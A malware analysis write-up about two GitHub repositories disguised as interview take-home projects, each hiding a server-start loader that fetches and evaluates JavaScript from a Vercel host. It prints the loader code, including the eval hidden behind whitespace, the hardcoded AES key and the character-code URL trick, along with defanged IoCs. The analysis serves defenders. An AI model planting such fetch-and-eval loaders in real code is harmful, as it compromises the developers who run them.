Oct 29, 2026
Two SoftGalaxy repos, one hidden loader
Static analysis of two GitHub repositories posing as a Web3 gaming platform and an AI model marketplace. Both hide a remote JavaScript loader that fetches and evaluates code from Vercel, a pattern matching public Contagious Interview reporting.
- family
- Contagious Interview
TL;DR
I was handed two ZIP archives of GitHub repositories, both named SoftGalaxy. They look like harmless Web3 and marketplace demo apps, the kind of “take-home project” a fake recruiter asks a developer to run during an interview.
Neither repository contains a payload. Each one contains a small loader that, when the server starts, downloads JavaScript from a Vercel-hosted URL and executes it. The URL is hidden in two different ways:
- Repo A (
msposato1973/SoftGalaxy): the URL is AES-encrypted, and theevalcall is pushed 260 spaces to the right of the line it sits on. - Repo B (
OlegVirnov/SoftGalaxy): the URL is stored as an array of character codes, and the code is executed by an npm package calledarray-inline, which npm has since replaced with a security placeholder.
I did not execute anything and I did not contact the payload servers. Everything below is static analysis plus public reporting. The attribution section says exactly how far that gets us.

What I received
| Repo A | Repo B | |
|---|---|---|
| GitHub path | msposato1973/SoftGalaxy | OlegVirnov/SoftGalaxy |
| Lure | Web3 gaming, staking and affiliate platform (“SoftGalaxyBet”) | “AI Custom Model MarketHub”, a model-license marketplace |
| Files | 268 (227 under client/) | 276 (225 under client/) |
| Archive comment (commit ID) | e3c0eb9a1069bf1026a84ae738aa4c97f80f7891 | 3c33c93c0750bf3adf109d1cf7f45f984bfd2492 |
| ZIP SHA-256 | 71793808ee2a21041fa9e697e69aa35f8a0c2da61da3a3d747054402c00fe2dc | 4cb02cd78e58cba29021d40e5ff84226e2bfab576cd3f59459deae73be9a1cb5 |
Repo B’s folder held the same ZIP twice under different names, and the two copies are byte-identical.
Both are the same kind of project: an Express API on port 9030, a React client, and a prestart script. Underneath the different branding, config.js is almost the same in both, down to the same fallback JWT secret. Repo B is not a copy of Repo A, though: it swaps Vite for webpack and adds a Solidity contract and server-side ethers. Same skeleton, different dressing.
Repo A also leaks where it was built. It ships .idea files and three vite.config.js.timestamp-*.mjs leftovers whose embedded source maps point at D:\workspace\GalaxyNFT (the oldest, from 2026-05-06) and D:\workspace\GalaxyBet1\client (2026-07-18). So the project went through at least two earlier names on a Windows machine before it became SoftGalaxy. The timestamps come from the file names, which Vite generates, and I haven’t verified them against anything else.
Where I started
The first thing I did was ignore the front end. Most of the files are images and React components, and a loader does not need any of them. I went for the places that run when a developer types npm start:
package.json: scripts and dependencies.server.js: what happens when the server starts.- Anything
server.jscalls that isn’t an obvious Express middleware.
That path is short in both repositories.
Repo A: the whitespace trick
server.js imports ./config/db and calls connectDB() inside the app.listen() callback, so the code runs as soon as the server is up. This is config/db.js, abridged:
const decrypt = require("../controllers/auth").decrypt;
const crypto = require("crypto");
const encryptedData =
"1cd6c36b96b78eb650574230080c3497:66d4b287…";
const connectDB = async () => {
try {
// const db = await mongoose.connect(config.MONGO_URI);
const mongo_uri = decrypt(encryptedData);
const response = await fetch(mongo_uri);
const msg = await response.text(); [260 spaces] eval(msg)
return msg
} catch (err) {
console.error(err.message);
process.exit(-1);
}
};
Three things stand out:
- The legitimate database call is commented out and replaced by a “decrypt a string, fetch it” flow. A function called
connectDBthat never connects to a database is the first red flag. - On line 15,
eval(msg)sits behind exactly 260 spaces. In a code editor with word wrap off, that line looks likeconst msg = await response.text();and the rest is off screen. What’s he hiding? Anevalof whatever the server returns. process.exit(-1)in the catch block makes any failure look like a normal crash, so the developer blames their own setup.
The decrypt helper lives in controllers/auth.js. It is plain AES-256-CBC, and the key is hardcoded:
const KEY = Buffer.from(
"0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef",
"hex"
);
That key is an obvious placeholder pattern, so the encryption protects nothing. It only keeps the URL out of a quick grep. I decrypted the string offline with openssl and the key from the file, and got:
hxxps://crypto-aws-db[.]vercel[.]app/
The name is dressed as a database service, which fits the connectDB disguise.
Repo B: the character-code array
server.js here calls connectUser() after listen(), and the function is exported from controllers/users.js:
const userlist = require('../models/User');
const arrayInline = require('array-inline');
exports.connectUser = asyncHandler(async (req, res) => {
try {
const { token } = await (await fetch(String.fromCharCode(...userlist))).json();
const res = arrayInline(
token,
true
);
return res;
} catch (err) {
console.error(err.message);
process.exit(-1);
}
});
userlist is not a user list. It comes from models/User.js, a file that looks like an ordinary Mongoose schema until the last lines, where the module’s export is overwritten with this array:
module.exports = User = mongoose.model('user', UserSchema);
const userlist = [
104, 116, 116, 112, 115, 58, 47, 47, 118,
101, 114, 99, 101, 108, 45, 100, 101, 112,
...
]
module.exports = userlist;
String.fromCharCode(...userlist) rebuilds the URL at runtime:
hxxps://vercel-deploy-ecru-psi[.]vercel[.]app/
The server answers with JSON and the token field is handed to array-inline. I did not read that package’s code. The OpenSSF report describes its sibling array-inline-transform as “Evaluate Node.js module source from a string, buffer, or VM script”, and the call here has the identical shape, so token is code, not a token. GitHub’s advisory for array-inline itself says the same thing in other words: any machine that installed it should be considered fully compromised. The same process.exit(-1) mask is used.
The package.json pins array-inline at ^2.0.5. I checked the registry metadata (no download, no install): version 2.0.5 was published on 2026-09-13, and the package now only lists 0.0.0-stage and 0.0.1-security, a placeholder created on 2026-10-19. The GitHub advisory, also from 2026-10-19, flags every version. So that dependency range can no longer resolve, but that says nothing about the next package name the same operator publishes. The sibling array-inline-transform went the same way: 1.0.0 published on 2026-09-16, replaced by a placeholder on 2026-10-19.
One more detail on dates. The archive of Repo B carries a timestamp of 2026-07-04, yet the repo depends on a package that did not exist until 2026-09-13. A commit date can be set to anything, so I would not date either repository from commit or ZIP times.
What the payload looks like
I did not fetch the payload. The two screenshots below were captured on 2026-10-09 when each decoded URL was opened in a browser. They are the only view I have of the second stage, and they are partial.


The first host returns the script as plain text and the second wraps it in a JSON object, matching how each loader consumes it (eval(msg) versus .json() then token). Both scripts resemble obfuscator.io output: a string array, a shuffle function guarded by a parseInt checksum, and every string reached through an index lookup.

Only fragments are legible. Across the two screenshots:
- Process options:
detached,windowsHide,stdio: ignore,process.env.WINDIR,win32,mkdirSync,existsSync. - Paths and files:
npm-cli.js,npm.cmd,node_modules,main.vbs, and a hidden folder in the home directory that I read as.vs_cache(the string is split in the source). - A dependency map naming
axios,better-sqlite3,node-machine-idandsocket.io-client, visible in the first payload. - In the second payload,
@primno/,CreateO…,sh.Runand& Chr(. - A string
13.0.3in both, whose purpose I can’t establish.
Read together, this looks like a Node-based installer. It creates a hidden folder in the user’s home, installs a few npm packages with the local npm, writes a VBScript built with Chr() concatenation, and starts it hidden and detached. That is my reading of fragments, not a confirmed flow. The dependency list is consistent with a host fingerprint (node-machine-id), local browser database access (better-sqlite3) and a socket-based remote channel (socket.io-client), but I can’t say which malware family this is without the full script. I searched for .vs_cache and main.vbs in public reporting and found nothing, so treat them as candidate hunting strings and not as known family markers.
Attribution
I’ll separate what I can show from what I’m borrowing.
Established by me, from the files.
- Both repos contain a server-start loader that downloads code from a
vercel.appURL and evaluates it, with the URL hidden from a casual read. - Both use the same disguise: a function with a believable name, and
process.exit(-1)on failure. server.jsin Repo B has the SHA-256e727d06928ba0feeb2c6fa53675eb35412e3333fdf09bee029571d4c23f48744, which I computed myself. The same hash is listed forserver.jsin a public OpenSSF malicious-packages report aboutarray-inline-transform, a sibling ofarray-inline. That report describes a repository delivered as a take-home project by a fake recruiter, with the same chain:connectUser()incontrollers/users.js, a character-code array appended tomodels/User.js,arrayInline(token, true), and aprestartthat frees port 9030. The other files differ (a different package name and a different URL), so this is a shared template, not a copy of the same repo. I am relying on the report for its side of that hash comparison.
Established by public reporting. Sophos documents a North Korea-aligned cluster it calls NICKEL ALLEY running fake job interviews with a GitHub repository posing as a Web3 crypto game platform. The repo’s index.js fetched BeaverTail from a staging server and ran it with eval(), and in late 2025 the group favored Vercel to host multiple payloads. MITRE tracks the same activity as Contagious Interview (G1052), described as a North Korea-aligned group targeting software developers and cryptocurrency workers.
My assessment.
| Claim | Confidence | Basis |
|---|---|---|
| Both repos belong to the Contagious Interview delivery pattern | Moderate to high | Fake project lure, remote fetch and eval, Vercel staging, hidden URL, byte-identical server.js with a publicly reported repo |
| Both repos come from the same operator or toolkit | Moderate | Shared template and server.js; AES-and-eval in A versus array-inline in B means two loader generations |
| A named actor or state sponsor | Not attributed | Vendors attribute the wider Contagious Interview activity to North Korea-aligned operators. I found no language, infrastructure overlap or malware family match of my own, so I do not attribute these two repos beyond the cluster |
| A named malware family (BeaverTail, OtterCookie or other) | Not assessed | I never saw the full second stage |
What I can’t say:
- Whether the accounts
msposato1973andOlegVirnovare operated by the actor, compromised, or impersonated. The OpenSSF report warns that commit identities in this activity may be spoofed. Don’t treat the account names as an identity. - The GitHub search in the first screenshot returned four repositories and I only have two of them. The other two are a lead worth checking.
- Whether the Vercel URLs are still serving payloads. I did not query them.
Conclusion
The front end is irrelevant. The pattern is a few lines of loader inside code a developer is expected to trust, started by the same command they would run anyway. Two takeaways for anyone who gets a “run this project” request:
- Read what
npm starttouches before running it:package.jsonscripts,server.js, and anything it calls early. AconnectDBthat never connects, or a dependency that evaluates strings, is enough to stop. - Search the repo for network calls next to
evalorFunction, forString.fromCharCode(..., and for lines with a long run of spaces. I put those checks into a small read-only script,repo_triage.py, in this folder. On these two repos it flags the loader files and nothing else, and on a clean Astro project it reports nothing.
If either repo was run on a machine, treat that machine as compromised: rotate credentials and wallet material from a clean device, and check the home directory for a hidden .vs_cache folder.
MITRE ATT&CK TTPs
Observed in the repositories (second-stage behavior is not assessed):
- T1204.002 — User Execution: Malicious File
- T1204.005 — User Execution: Malicious Library
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1027 — Obfuscated Files or Information
- T1027.013 — Obfuscated Files or Information: Encrypted/Encoded File
- T1036 — Masquerading
- T1583.006 — Acquire Infrastructure: Web Services
- T1608.001 — Stage Capabilities: Upload Malware
IoC
- URL:
hxxps://crypto-aws-db[.]vercel[.]app/ - URL:
hxxps://vercel-deploy-ecru-psi[.]vercel[.]app/ - npm package:
array-inline@2[.]0[.]5 - SHA-256,
config/db.js(Repo A):7267971d5c84f30db6478736a86d1d113c4ef802ef2df8d183c0e0aa65647a92 - SHA-256,
controllers/users.js(Repo B):3a005c43fc918660e506b20d29dc5d7a17f4fb1ef2651af879c1bdb1fe65fefc - SHA-256,
models/User.js(Repo B):403fcc0a9c9049e67f2a7c98870d1c5719bc06548ccfc53103d66893a6c3a8ec - SHA-256,
server.js(Repo B):e727d06928ba0feeb2c6fa53675eb35412e3333fdf09bee029571d4c23f48744 - Hunting strings (unconfirmed):
.vs_cache,main.vbs